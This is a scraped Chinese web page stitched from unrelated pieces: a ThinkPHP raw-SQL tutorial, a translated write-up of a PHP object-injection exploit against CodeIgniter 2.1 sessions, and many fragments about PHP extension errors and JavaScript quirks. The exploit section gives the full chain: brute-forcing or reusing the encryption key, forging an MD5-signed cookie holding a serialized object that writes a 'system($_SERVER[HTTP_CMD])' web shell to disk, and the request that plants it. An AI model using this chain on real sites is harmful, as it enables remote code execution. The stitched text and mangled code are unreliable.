thinkphp如何安装.now如何把pm去掉

ThinkPHP教程 列表
相关参考课程ThinkPHP 原生SQL查询原生SQL查询
尽管ThinkPHP内置了大量的数据操作方法,但ThinkPHP仍保留了对原生SQL查询的支持,以便满足复杂查询的需要和一些特殊的数据操作。
SQL查询的返回值是直接返回DB类的查询结果,没有做任何的处理,而且可以支持查询缓存。
原生SQL查询有 query() 和 execute() 两个方法:
:用于 SQL 查询操作,并返回符合查询条件的数据集
:更新和写入数据的 SQL 操作,返回影响的记录数
query() 方法是用于 SQL 查询操作,和select()方法一样返回符合查询条件的数据集。
public function read(){
// 实例化一个空模型,没有对应任何数据表
$Dao = M();
//或者使用 $Dao = new Model();
$list = $Dao-&query(&select * from user where uid&5&);
if($list){
$this-&assign('list', $list );
$this-&display();
$this-&error($Dao-&getError());
对于 query() 方法返回的数据集,跟 select() 一样,可以在模板里直接循环输出。
execute() 方法用于更新和写入数据的 SQL 操作(注:非查询操作,无返回数据集),返回影响的记录数。
public function read(){
header(&Content-Type:text/ charset=utf-8&);
// 实例化一个空模型,没有对应任何数据表
$Dao = M();
//或者使用 $Dao = new Model();
$num = $Dao-&execute(&update user set email = '' where uid=3&);
echo '更新 ',$num,' 条记录。';
echo '无记录更新';
如果查询比较复杂或一些特殊的数据操作不能通过 ThinkPHP 内置的 ORM 和 ActiveRecord 模式实现时,就可以通过直接使用原生 SQL 查询来实现。
注意:以上都是 user 没有表前缀的例子,在查询语句中,查询的表应该写实际的表名字(包括前缀)。
原生 SQL 查询需要在查询语句中写上对应的表名,如果表名有改动的时候,就需要逐行去更改 SQL 语句中的表名字,这样不免麻烦。ThinkPHP 提供了一个小技巧来帮助解决这个问题。
在 SQL 语句中,以 __TABLE__ 来替代真实的表名,而在实例化模型时,仍以表名为参数,如:
public function read(){
$Dao = M(&User&);
$list = $Dao-&query(&select __TABLE__ from user where uid&5&);
系统在解析的时候会自动替换成当前模型对应的表名,这样就可以做到即使表名有所变化,只需修改实例化对应的表名即可而不用修改原生的 SQL 语句。
本章节内容共分 8 部分:1.
ThinkPHP 原生SQL查询<(我爱开发网) — 提供最好的 、、、 及原文链接:http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/0x00 背景大家好,Codeigniter 是我最喜爱的PHP框架之一。和别人一样,我在这个框架中学习了PHP MVC编程。今天,我决定来分析一下Codeigniter的PHP 对象注入漏洞。我在接下来的叙述中会把重点放在Codeigniter的Session会话机制上。所有我将会分析的method方法都在CodeIgniter/system/libraries/Session.php文件里。我在本研究过程中使用的是Codeigniter 2.1 版本。0x01 Codeigniter Session会话机制Codeigniter 使用PHP的序列化method方法来存储用户Session会话中的变量。但是Codeigniter Session会话机制并不像我们预期的那样工作。它把session会话的变量存在了客户端的cookie里面,大多数是在(服务器)硬盘上而不是用户COOKIE中。我不知道开发者们为什么这么设计。下面的叙述摘自codeigniter的文档The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted sessions, you must set an encryption key in your config file which is used to aid in preventing session data manipulation.Session会话class类把每个用户session会话的序列化的(可选加密的)信息存在了Cookie里面。即使你没有使用加密的session会话,你也必须在配置文件中设置一个加密key(密钥)以用来防止session会话内容被人为篡改在这篇文章中我们将分析session数据篡改的可能性以及相关问题。0x02 Codeigniter Session会话数据结构让我们开始读点儿代码。但是至此让我解释一下Codeigniter是如何创建session会话并且把变量放进session(-实际上是cookie!-)中的。对了,我会在接下来的文章中使用CI简写代替Codeigniter让我们开始回顾一下Session类中构造方法的代码。下面的代码是__construct方法的一部分// Run the Session routine. If a session doesn't exist we'll// create a new one.If it does, we'll update it.// 开始session过程。如果session不存在我们就新建一个 如果存在就更新一个if ( ! $this-&sess_read()){ $this-&sess_create();}else{ $this-&sess_update();}// Delete 'old' flashdata (from last request)// 删除旧的flashdata(从最近的请求)$this-&_flashdata_sweep();// Mark all new flashdata as old (data will be deleted before next request)// 标记所有的flashdata为旧的(数据将会在下一次请求被删除)$this-&_flashdata_mark();// Delete expired sessions if necessary// 如果需要的话删除过期的session$this-&_sess_gc();log_message('debug', &Session routines successfully run&);CI 试着去从当前客户端的cookie中读取数据值。如果失败的话就创建一个新的,假设我们目前没有任何cookie。那么CI去试着调用sess_create函数。接下来的代码是在Session类中sess_create函数中截取的function sess_create(){ $sessid = ''; while (strlen($sessid) & 32) {
$sessid .= mt_rand(0, mt_getrandmax()); } // To make the session ID even more secure we'll combine it with the user's IP // 为了让session 会话ID 更加安全,我们将把用户IP绑定进去 $sessid .= $this-&CI-&input-&ip_address(); $this-&userdata = array(
'session_id' =& md5(uniqid($sessid, TRUE)),
'ip_address' =& $this-&CI-&input-&ip_address(),
'user_agent' =& substr($this-&CI-&input-&user_agent(), 0, 120),
'last_activity' =& $this-&now,
'user_data'
); // Save the data to the DB if needed // 如果需要的话将数据保存在数据库中 if ($this-&sess_use_database === TRUE) {
$this-&CI-&db-&query($this-&CI-&db-&insert_string($this-&sess_table_name, $this-&userdata)); } // Write the cookie // 写cookie $this-&_set_cookie();}sess_create负责创建session并且把它们发给用户。正如你所见,它创建了一个数组来在session中存储session_id,ip 地址,user-agent等等。当userdata数组就绪后,它调用了Session类中的另一个函数_set_cookie()。现在该分析_set_cookie函数的代码了function _set_cookie($cookie_data = NULL){ if (is_null($cookie_data)) {
$cookie_data = $this-& } // Serialize the userdata for the cookie // 序列化用户数据用作cookie $cookie_data = $this-&_serialize($cookie_data); if ($this-&sess_encrypt_cookie == TRUE) {
$cookie_data = $this-&CI-&encrypt-&encode($cookie_data); } else {
// if encryption is not used, we provide an md5 hash to prevent userside tampering // 如果没有使用加密,我们使用md5哈希函数来防止用户端的篡改
$cookie_data = $cookie_data.md5($cookie_data.$this-&encryption_key); } $expire = ($this-&sess_expire_on_close === TRUE) ? 0 : $this-&sess_expiration + time(); // Set the cookie // 设置cookie setcookie(
$this-&sess_cookie_name,
$cookie_data,
$this-&cookie_path,
$this-&cookie_domain,
$this-&cookie_secure
);}这里有一条关于代码的注释// if encryption is not used, we provide an md5 hash to prevent userside tampering// 如果没有使用加密,我们使用md5哈希函数来防止用户端的篡改CI使用了md5来加密序列化后的session会话数据。他使用了encryption_key作为salt。然后把md5加密后的结果附在了$cookie_data的后面////$cookie_data = $cookie_data.md5($cookie_data.$this-&encryption_key);我想要分析上述的代码。$cookie_data将会发送给客户端。它包含着ip地址,user-agent等等。CI使用了encryption_key作为加salt的key。作为攻击者我们知道$cookie_data和md5加密的结果,因为CI把MD5计算结果附在了$cookie_data的后面然后把它发送给了我们攻击者。让我展示一下确切的数据。ci_session=a:5:{s:10:&session_id&;s:32:&e4f2a5e86d65ef070fb043&;s:10:&ip_address&;s:9:&127.0.0.1&;s:10:&user_agent&;s:76:&Mozilla/5.0+(X11;+U+Linux+x86_64;+rv:28.0)+Gecko/+Firefox/28.0&;s:13:&last_activity&;i:;s:9:&user_data&;s:0:&&;}550dee0df3b0488你可以看到上面的ci_session变量。那就是cookie的变量并且在数据值的后面你将看到550dee0df3b0488,这就是md5的结果,如果我们试着去逆向分析的话。译者注:32位的字母数字(无等号)可初步判断为md5,另外上面的机制分析也说明了是用的md5$cookie_data variables的值为:{s:10:”session_id”;s:32:”e4f2a5e86d65ef070fb043″;s:10:”ip_address”;s:9:”127.0.0.1″;s:10:”user_agent”;s:76:”Mozilla/5.0+(X11;+U+Linux+x86_64;+rv:28.0)+Gecko/+Firefox/28.0″;s:13:”last_activity”;i:;s:9:”user_data”;s:0:””;}$this-&encryption_key = is what we are trying to get!md5计算的结果 = 550dee0df3b0488很明显我们可以暴力破解探测使用的salt,我是说加密key。举例说明 假设有以下定义$this-&encryption_key = WE DONT NOW!$cookie_data variables的值 = a:1:{s:4:”test”;i:1;}adf8a852dafaf46f8c63aadf8a852dafaf46f8c63a = md5('a:1:{s:4:&test&;i:1;}'.$this-&encryption_key)你可以使用暴力破解技术来探测encryption_key! 为了暴力破解这个md5,你可以把encryption_key当成你想要获得的明文,所以$cookie_data变量的值成了salt,然后当然反转MD5函数形式从md5(plain-text, SALT) 到 md5(SALT,plain-text)译者注:因为目前的破解md5的自动化工具均默认是给出密文和salt而恢复明文,这里的变换的原因是方便之后利用工具破解这只是解释。我们在真实生活中会有更长的$cookie_data的情况。就像我之前提到的,为了暴力破解md5,$cookie_data当成salt。很不幸HashCat不支持这种类型的salt key。0x03 Codeigniter Session会话数据的保存验证我们知道了CI如何创造cookie数据。现在我们将分析CI的cookie数据验证系统。就像我之前假设的,我们没有一个cookie。这一次我们在HTTP请求中带一个cookie。让我们观察CI是怎样检测并验证cookie的。为了这样做,我们需要理解Session类中的sess_read()方法的代码记住Session类的_construct方法。它试着用sess_read方法去从客户端读取cookie。这是我为什么将要分析sess_read方法的原因function sess_read() { // Fetch the cookie // 获取cookie $session = $this-&CI-&input-&cookie($this-&sess_cookie_name); // No cookie?Goodbye cruel world!... // 没有cookie? 去你妹的冷酷世界! if ($session === FALSE) {
log_message('debug', 'A session cookie was not found.');
return FALSE; } // Decrypt the cookie data // 解密cookie数据 if ($this-&sess_encrypt_cookie == TRUE) {
$session = $this-&CI-&encrypt-&decode($session); } else {
// encryption was not used, so we need to check the md5 hash
// 没有用到加密,所以我们需要检查MD5 hash
= substr($session, strlen($session)-32); // get last 32 chars
$session = substr($session, 0, strlen($session)-32);
// Does the md5 hash match?This is to prevent manipulation of session data in userspace
// md5哈希值是否匹配?这是为了阻止session会话数据用户方面的人为操纵
if ($hash !==md5($session.$this-&encryption_key))
log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
$this-&sess_destroy();
return FALSE;
} } // Unserialize the session array // Unserialize去序列化session会话数组 $session = $this-&_unserialize($session); // Is the session data we unserialized an array with the correct format? // 我们unserialized去序列化后的session会话数据是否格式正确? if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity'])) {
$this-&sess_destroy();
return FALSE; } // Is the session current? // 是否是当前会话? if (($session['last_activity'] + $this-&sess_expiration) & $this-&now) {
$this-&sess_destroy();
return FALSE; } // Does the IP Match? // ip是否匹配? if ($this-&sess_match_ip == TRUE AND $session['ip_address'] != $this-&CI-&input-&ip_address()) {
$this-&sess_destroy();
return FALSE; } // Does the User Agent Match? // user-agent是否匹配? if ($this-&sess_match_useragent == TRUE AND trim($session['user_agent']) != trim(substr($this-&CI-&input-&user_agent(), 0, 120))) {
$this-&sess_destroy();
return FALSE; } // Is there a corresponding session in the DB? // 数据库中是否与session一致? if ($this-&sess_use_database === TRUE) {
$this-&CI-&db-&where('session_id', $session['session_id']);
if ($this-&sess_match_ip == TRUE)
$this-&CI-&db-&where('ip_address', $session['ip_address']);
if ($this-&sess_match_useragent == TRUE)
$this-&CI-&db-&where('user_agent', $session['user_agent']);
$query = $this-&CI-&db-&get($this-&sess_table_name);
// No result?Kill it!
// 没有查到? 结束吧!
if ($query-&num_rows() == 0)
$this-&sess_destroy();
return FALSE;
// Is there custom data?If so, add it to the main session array
// 有没有自定义数据? 如果有,把它加在主session数组里
$row = $query-&row();
if (isset($row-&user_data) AND $row-&user_data != '')
$custom_data = $this-&_unserialize($row-&user_data);
if (is_array($custom_data))
foreach ($custom_data as $key =& $val)
$session[$key] = $
} } // Session is valid! // session是合法的 $this-&userdata = $ unset($session); return TRUE;}接下来的代码CI检查了session会话变量和user-agents。基本上CI想看到相同的user-agent和ip地址。就像我们分析的那样,CI把那些变量写进session会话了我们来分析一下_unserialize方法的代码function _unserialize($data){ $data = @unserialize(strip_slashes($data)); if (is_array($data)) {
foreach ($data as $key =& $val)
if (is_string($val))
$data[$key] = str_replace('{{slash}}', '//', $val);
return $ } return (is_string($data)) ? str_replace('{{slash}}', '//', $data) : $}没错!它对用户提供的数据调用了unserialize方法,在本例中数据是客户端的cookie0x04 概括在去往exploitation利用部分之前,我希望总结一下我们到现在为止学到的东西CI使用了serialize和unserialize方法来存储Session中的变量辩证来看,CI没有使用真正的Session。CI在客户端(cookie)存储了session变量而不是服务器端(硬盘)CI通过计算md5来检测用户端的篡改检查user-agent和ip地址与session数据一致调用unserialize方法0x05 总结我们遇到了一些障碍CI没有使用destruct(销毁函数)或者唤醒方法Codeigniter 通过$autoload['libraries']变量装载libraries(库)。如果Session类首先定义了那个数组,你就不能接触剩下的类。因为我们要利用Session并且CI在用户装载libraries前初始化Session类让我来阐明。CI按照次序从类中创建对象。那意味着在system/core路径下的类文件会首先创建。然后CI会去查看$autoload['libraries']数组然后按照次序再次创建对象。所以,为了接触不同的classes,初始化session会话类的路径格外的重要我写了一个具有漏洞的codeigniter应用来做例子。接下来的讲解都与那个应用相关/mmetince/codeigniter-object-inj译者注:然后点右下角的download zip下载下来,如果不clone的话现在我们可以一起利用session完整性检查的缺陷和unserialize方法正如你所发现的那样,我们需要知道encryption_key来利用漏洞做坏事!有两种方法可用。1 - 像我之前解释的,一起利用md5的弱点和CI失败的session会话数据完整性验证。暴力破解它!当你认为encryption_key不会很长的时候我建议你这么做 2 - 很多开发者把它们的应用发布到github但是没有修改encryption_key。并且使用那个应用的人们通常不会去修改encryption_key在本例中我们目前已经知道encryption_key是h4ck3rk3y了,让我们开始吧!译者注:他说的是他自己写的应用$config['encryption_key'] = 'h4ck3rk3y';这个设置在/application/config/config.php里面http://localhost:8080/index.php/welcome当我访问上述URL时,它向我返回了如下HTTP响应HTTP/1.1 200 OKHost: localhost:8080Connection: closeX-Powered-By: PHP/5.5.3-1ubuntu2.3Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a1%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A76%3A%22Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A28.0%29+Gecko%2F+Firefox%2F28.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D30f9dbdd00d41d84d904; expires=Thu, 17-Apr-:22 GMT; Max-Age=7200; path=/Content-Type: text/html我们看见了Set-Cookie这个http header变量,让我们分析它译者注:别忘了解url编码ci_session=a:5:{s:10:&session_id&;s:32:&b4febcc23c1ceebfcae0a1&;s:10:&ip_address&;s:9:&127.0.0.1&;s:10:&user_agent&;s:76:&Mozilla/5.0+(X11;+U+Linux+x86_64;+rv:28.0)+Gecko/+Firefox/28.0&;s:13:&last_activity&;i:;s:9:&user_data&;s:0:&&;}30f9dbdd00d41d84d904; expires=Thu, 17-Apr-:22 GMT; Max-Age=7200; path=/你可以看到过期时间Expires dates和最大期限 Max-Age在字符串的末尾。它们现在不是很重要,我们把它们去除掉吧ci_session=a:5:{s:10:&session_id&;s:32:&b4febcc23c1ceebfcae0a1&;s:10:&ip_address&;s:9:&127.0.0.1&;s:10:&user_agent&;s:76:&Mozilla/5.0+(X11;+U+Linux+x86_64;+rv:28.0)+Gecko/+Firefox/28.0&;s:13:&last_activity&;i:;s:9:&user_data&;s:0:&&;}30f9dbdd00d41d84d904译者注:去除了无关项后如上所示,之所以可以去掉是因为exploit的是CI逻辑下的cookie接收现在我们将会像CI那样从那个字符串中分离出cookie和MD5md5 = 30f9dbdd00d41d84d904Session data= a:5:{s:10:”session_id”;s:32:”b4febcc23c1ceebfcae0a1″;s:10:”ip_address”;s:9:”127.0.0.1″;s:10:”user_agent”;s:76:”Mozilla/5.0+(X11;+U+Linux+x86_64;+rv:28.0)+Gecko/+Firefox/28.0″;s:13:”last_activity”;i:;s:9:”user_data”;s:0:””;}我们已经知道CI把user-agent放进session会话数据如上文所示。实质上session会话数据是一个PHP数组Array( [session_id] =& b4febcc23c1ceebfcae0a1 [ip_address] =& 127.0.0.1 [user_agent] =& Mozilla/5.0+(X11;+U+Linux+x86_64;+rv:28.0)+Gecko/+Firefox/28.0 [last_activity] =&
[user_data] =&)我们知道CI在unserialize之后会去检查ip地址和user-agents。但是在那个检查获取控制之前已经对象注入完毕了。我们可以随心所欲修改它现在是时候创建我们用来利用的对象类。下述的类可以在我们的例子中application/libraries路径找到译者注:/application/libraries/Customcacheclass.php&?php/*** Created by PhpStorm.* User: mince* Date: 4/18/14* Time: 3:34 PM*/if ( ! defined('BASEPATH')) exit('No direct script access allowed');class Customcacheclass { var $dir = ''; var $value = ''; public function __construct() {
$this-&dir = dirname(__FILE__).&/cache_dir/&; } public function set_value($v){
$this-&value = $v; } public function get_value(){
return $this-& } public function __destruct(){
file_put_contents($this-&dir.&cache.php&, $this-&value, FILE_APPEND); }}你可以看到__destruct方法把类变量保存在了cache.php文件内。序列化形式的Cacheclass会像下面所示字符串一样//O:10:&Cacheclass&:2:{s:3:&dir&;s:15:&/tmp/cache_dir/&;s:5:&value&;s:3:&NUL&;}我们要把它改成下述形式来向cache.php文件中写入eval运行的代码&?phpclass Customcacheclass { var $dir = 'application/libraries/cache_dir/'; var $value = '&?php system($_SERVER[HTTP_CMD]);?&';}echo serialize(new Customcacheclass);// Result// 运行结果O:16:&Customcacheclass&:2:{s:3:&dir&;s:32:&application/libraries/cache_dir/&;s:5:&value&;s:35:&&?php system($_SERVER[HTTP_CMD]);?&&;}现在我们需要对构造的session会话数据计算真实的MD5值 以通过sess_read方法的完整性控制&?php$b = 'O:16:&Customcacheclass&:2:{s:3:&dir&;s:32:&application/libraries/cache_dir/&;s:5:&value&;s:35:&&?php system($_SERVER[HTTP_CMD]);?&&;}';$private_key = 'h4ck3rk3y';echo md5($b.$private_key);echo &/n&;结果是fc47e410dfcefbe1b779&&我们将把这段MD5加在我们的新cookie值末尾Host: localhostUser-Agent: Mozilla/5.0 (X11; U Linux x86_64; rv:28.0) Gecko/ Firefox/28.0Referer: http://localhost/Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir%2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24_SERVER%5BHTTP_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410dfcefbe1b779当你发送上述的http请求给CI时你会看到下述代码出现在cache.php文件内&?php system($_SERVER[HTTP_CMD]);?&When using the php error Call to undefined function curl_init solution is: When using the php error Call to undefined function curl_init solution is: Open the php.ini, find &extension = php_curl.dll&, then remove the front &;& Notes, y
/post/188/ The machine Windows2000 downloading good apache2 + php5 + mysql, run the program, tips Quote Fatal error: Call to undefined function: mysql_connect (). php.ini has extension = php_mysql. removed, but c
Do discuz the sso single sign-on when the error: Call to undefined function curl_init, search Less than a system function: curl_init (); solution is: php_curl.dll copied to the php install directory under the ext, libeay32.dll and ssleay32.dll copied
If you get the following error message in PHP then it means you need to have the PHP GD extension installed. Obviously the /path/to/file.php will be the actual path and filename of the PHP script the error occured in, and the line number will be the
这篇文章主要介绍了PHP FATAL ERROR: CALL TO UNDEFINED FUNCTION BCMUL()解决办法,需要的朋友可以参考下 在一台处理网络支付的服务器迁移的时候,发现不能支付. PHP环境:PHP版本为5.3.3 系统为Red Hat 4.1.2-54 查看apache的错误日志,发现是加密文件中一个函数bcmul()报错: PHP Fatal error: Call to undefined function bcmul() in /php_rsa.php on l
curl_init -- 初始化一个CURL会话,如果提示Call to undefined function curl_init那么需要如下操作即可. 在网上下载了一个模拟登陆discuz论坛的php程序范例,试运行时出现&Call to undefined function curl_init&这个错误提示,没有定义的函数,也就是php还没打开对curl_init函数的支持.Google了一番终于解决了,方法如下: 系统环境,WIN2003 IIS6,PHP版本5.2.12在装好P
这篇文章主要介绍了ThinkPHP做文字水印时提示call an undefined function exif_imagetype()解决方法,是项目开发中非常实用的技巧,需要的朋友可以参考下 本文实例讲述了ThinkPHP做文字水印时提示call an undefined function exif_imagetype()解决方法.分享给大家供大家参考.具体如下: 一.问题描述: ThinkPHP做文字水印 ,今天做一个电子请帖,就把祝福语贴到图片上面,发现一直报错是取不到图片类型,比如gi
Fatal error: Call to undefined function curl_init()解决方法 首先要确定php已经扩展 在php.ini中 extension=php_curl.dll 还要保证 php_curl.dll 复制到php安装目录下的ext下,libeay32.dll和ssleay32.dll复制到php安装目录下.(我的配置文件是system32,和php5ts.dll一个地) 记得重启Apache. 正解,over!
在很多php教程初学者都会在初次php mysql时出来undefined function mysql_connect() 错误提示,下面我们来分析原因中. 一. 将PHP.ini中以下几个参数前面的&;&去掉: ;extension=php_dba.extension=php_gd2.extension=php_mbstring.extension=php_mcrypt.extension=php_mysql.extension=p
Sub-page called IFRAME JS function
19:02 Description: Suppose there are 2 pages, index.html and inner.html. Index.html which has a iframe, the iframe's src points to inner.html. We now have to do is: 1. Inner.html called index.html on a js
Puzzled me for a long time thinkphp problem, the local can be uploaded, but the server can not upload a picture, looking for a long time, ask the server business, he said it was not their problem, the problem had to see for yourself, the original php
Php do a lot of things, and has been integrated with the apache and php server whim today, it should be said yesterday, and to determine their own look from scratch with php environment a lot of online articles related to configuration, casually foun
Need to install json extension. First install gcc and php_pear, if yum so. Then install the extension, this time it will be compiled: pecl install json Build configuration: echo &extension = json.so&& / etc / php.d / json.ini Restart apache o
Is not configured PHP5, PHP5 no longer the default support MYSQL. You need to modify the PHP.INI, the EXTENSION of the DLL file on MYSQL removed, while the PHP5 install a package called libmysql.dll the DLL file to C: \ windows or C: \ window
php_curl.dll copied to the php install directory under the ext directory and open the php. extension = php_curl. removed if the following issues C: \ Documents and Settings \ Administrator& php PHP Warning: PHP Startup: Unable to l
在php.ini中找到&;extension=php_mbstring.dll&去掉前面的分号&;&,然后重启服务即可 原文链接:http://blog.csdn.net/vince6799/article/details/4477468
curl_init ---- 初始化一个CURL会话: 以windows下的php+apache为例: 打开php.ini,找到&extension=php_curl.dll&,然后去掉前面的&;&注释,重启apache即可.
打开php.ini,找到&extension=php_curl.dll&,然后去掉前面的&;&注释,重启apache即可.
Known function expression (Named function expressions demystified) Original Address /named- function-expressions / (Such as translation can be found in mail to my mailbox yangliang at ) by Juriy &kangax& Zaytse
最近有空可以让我静下心来看看各种代码,function与感叹号的频繁出现,让我回想起2个月前我回杭州最后参加团队会议的时候,@西子剑影抛出的一样的问题:如果在function之前加上感叹号 (!) 会怎么样?比如下面的代码: !function(){alert('iifksp')}() // true 在控制台运行后得到的值时true,为什么是true这很容易理解,因为这个匿名函数没有返回值,默认返回的就是undefined,求反的结果很自然的就是true.所以问题并不在于结果值,而是在于,为什
http://wanyij./ In this paper, the discovery of an appropriate title is not so easy, huh, huh, so in this note under the first two purposes of this article: (1) introduction of the eval function in javascript usage (2) how to
eval string generated statement can be implemented, and the SQL of the exec () similar. the use of eval occasions what is it? Sometimes we do not know in advance what sentence to be implemented only when the conditions and parameters for the implemen
var f = function g(){ alert(22222)}; Today, to see the code, though not so to write, but became interested in this form, it is how to run it? Test was found, ie, and Firefox is not real Test: var f = function g(){ alert(22222)};
var f = function g(){ alert(22222)}; Today to see the code, though not so written, but became interested in this form, how it runs? Tests found, ie and Firefox really is n Test: var f = function g(){ alert(22222)}; alert(f); aler
A code fragment: alert(Function instanceof Object); // true alert(Object instanceof Function); // true Function is an instance of Object, Object is an instance of Function and good &entangled& relationship. A code fragment: alert(Object.forEach)
function F(){ this.pro=function(){ //doSomething }; function f(){ //pro(); //error,object pro undefined } } Function f want to produce some of the behavior of pro, then the pro is actually a property of type F, not F, a function object, understand th
function isAlien(a) { return isObject(a) && typeof a.constructor != 'function'; } function isArray(a) { return isObject(a) && a.constructor == A } function isBoolean(a) { return typeof a == 'boolean'; } function isEmpty(o) { var i,
In jquery window.undefined = window.undefined we see the wording of today has been seen in the ext window [&undefined&] = window [&undefined&], its wording is not understood, will have its own assigned What significance, searched for s
Adaptive iframe height can be written under Ie &iframe name=&listFrame11& width=&100%& onload=&this.height=(iFrame1.document.body.scrollHeight)+20;& frameborder=&0&& &/ iframe& But the recent discovery o
PHP has long supported a nested function. And do not have closure until there PHP5.3. However, it has not, as JS, AS closure as nesting. Nested function that it did not escape the closure model. PHP nested function has some special features. The most
大多数计算机语言,有且仅有一个表示&无&的值,比如,C语言的NULL,Java语言的null,Python语言的none,Ruby语言的nil 有点奇怪的是,JavaScript语言居然有两个表示&无&的值:undefined和null.这是为什么? 一.相似性 在JavaScript中,将一个变量赋值为undefined或null,老实说,几乎没区别. var a = var a = 上面代码中,a变量分别被赋值为undefine
很多管理系统中,都使用iframe进行信息内容的展示方式,或者作为主菜单的链接展示内容.使用iframe的问题就是自适应高度的问题 iframe自适应高度本身是很简单的方法,就是在页面加载完成后,重新计算一下高度即可. 代码如下: //公共方法:设置iframe的高度以保证全部显示数据 //function SetPageHeight() { // var iframe = getUrlParam('ifname'); // var myiframe = window.parent.docume
这篇文章主要介绍了javascript中Function类型详解的相关资料,需要的朋友可以参考下 Function 类型 function类型,毋庸置疑是js中相当重要的一个玩意. 1.这玩意首先是一个对象,也就是说它是一个引用类型.陈述:一听说是对象,是不是很有一种它的基类是object对象错觉感,No, 它和object是独立的2个东西.当你typeof function 时,返回的是 funciton 并非 object 2.每个函数都是 Function 对象的一个实例,它与其他引用对象
这篇文章主要介绍了使用jQuery不判断浏览器高度解决iframe自适应高度问题,需要的朋友可以参考下 这里介绍两个超级简单的方法,不用写什么判断浏览器高度.宽度啥的. 下面的两种方法自选其一就行了.一个是放在和iframe同页面的,一个是放在test.html页面的. 注意别放错了地方. iframe的代码中,注意要写ID,没有ID查找不到 &iframe src=&test.html& id=&main& width=&700& hei
网上查了好多用着都不行,自己搞定了:在包含iframe的页面中加入以下脚本,基本思想是在iframe加载内容后重新设置高度,下面代码尽在IE6中用过,没在其他浏览器中测试. &script type=&text/javascript&& &!-- $( function() { //iframe高度随内容自动调整 $('.main').load( function() { $(this).height($(this).contents().find(&bod
大多数计算机语言,有且仅有一个表示&无&的值,比如,C语言的NULL,Java语言的null,Python语言的none,Ruby语言的nil. 有点奇怪的是,JavaScript语言居然有两个表示&无&的值:undefined和null.这是为什么? 一.相似性 在JavaScript中,将一个变量赋值为undefined或null,老实说,几乎没区别. var a = var a = 上面代码中,a变量分别被赋值为undefin
代码片段一: alert(Function instanceof Object); // truealert(Object instanceof Function); // true Function 是 Object 的实例,Object 也是 Function 的实例,好&纠缠&的关系. 代码片段一: alert(Object.forEach); // undefined Function.prototype.forEach = function(object, block, co
今日读一源码,偶见如下写法: (function(win, doc, undefined) { //some code })(this , document); 这个undefined的作用是什么呢?主要如下: 1,可以获得干净的undefined. 在各个浏览器试运行如下代码 var undefined = 1; alert(undefined); (function(undefined) { alert(undefined); })(); 经过部分浏览器运行之,得到: 运行浏览器 结果 op
用js库过程中偶然发现他们代码中有很多类似于如下的情形: !function ($) { //do sth }(window.jQuery); 于是就试了一下: !function(){alert('iifksp')}() // true 在控制台运行后得到的值时true,为什么是true这很容易理解,因为这个匿名函数没有返回值,默认返回的就是undefined,求反的结果很自然的就是true.所以问题并不在于结果值,而是在于,为什么求反操作能够让一个匿名函数的自调变的合法? function
大多数计算机语言,有且仅有一个表示&无&的值,比如,C语言的NULL,Java语言的null,Python语言的none,Ruby语言的nil. 有点奇怪的是,JavaScript语言居然有两个表示&无&的值:undefined和null.这是为什么? 1.在JavaScript中,将一个变量赋值为undefined或null,老实说,几乎没区别. var v = var v = 上面代码中,a变量分别被赋值为undefined和n
ext-base.js before we use the ExtJS files must be introduced, we come to analyze, ext-base in what it actually did. First, the ext-base file contains ExtJS version information, the most basic Functions and Utilities, and most importantly, Ext objects
JS file CJL.0.1.min.js as follows: eval_r (function (p, a, c, k, e, r) {e = function (c) {return (c &62?'': e (parseInt (c/62 )))+(( c = c% 62)& 35? String.fromCharCode (c +29): c.toString (36))}; if ('0 '. replace (0, e) == 0) {while (c -) r [e ( c
随着浏览器安全性的提高,要实现图片预览也越来越困难.不过群众的智慧是无限的,网上也有很多变通或先进的方法来实现.在研究了各种预览方法后,作为总结,写了这个程序,跟大家一起分享. 上次写的简便无刷新文件上传系统最初的目的就是用来实现这个图片预览效果. 兼容:ie6/7/8, firefox 3.5.5 后台支持下还兼容:opera 10.10, safari 4.0.4, chrome 3.0 ps:兼容opera, safari和chrome需要后台支持,请下载实例测试. 程序说明 [基本原理]
在实际应用中,我们经常会遇到这样的场景,当页面加载完成后去做一些事情:绑定事件.DOM操作某些结点等. 原来比较常用的是window的onload 事件,而该事件的实际效果是:当页面解析/DOM树建立完成,并完成了诸如图片.脚本.样式表甚至是iframe中所有资源的下载后才触发的.这对于很多 实际的应用而言有点太&迟&了,比较影响用户体验.为了解决这个问题,ff中便增加了一个DOMContentLoaded方法,与onload相比,该 方法触发的时间更早,它是在页面的DOM内容加载完成
本篇文章主要是对js本地预览的简单实现方法进行了介绍,需要的朋友可以过来参考下,希望对大家有所帮助 // JavaScript Document eval(function(p,a,c,k,e,r){e=function(c){return(c&62?'':e(parseInt(c/62)))+((c=c%62)&35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c
在实际应用中,我们经常会遇到这样的场景,当页面加载完成后去做一些事情:绑定事件.DOM操作某些结点等.原来比较常用的是window的onload 事件,而该事件的实际效果是:当页面解析/DOM树建立完成,并完成了诸如图片.脚本.样式表甚至是iframe中所有资源的下载后才触发的.这对于很多 实际的应用而言有点太&迟&了,比较影响用户体验.为了解决这个问题,ff中便增加了一个DOMContentLoaded方法,与onload相比,该 方法触发的时间更早,它是在页面的DOM内容加载完成后
Transfer from: /2008/04/extjs.html Learn extjs already know basically, and can project development, to sum up some small points to list what posted by David Chen at April 21,
PM The following is the learning process down for so
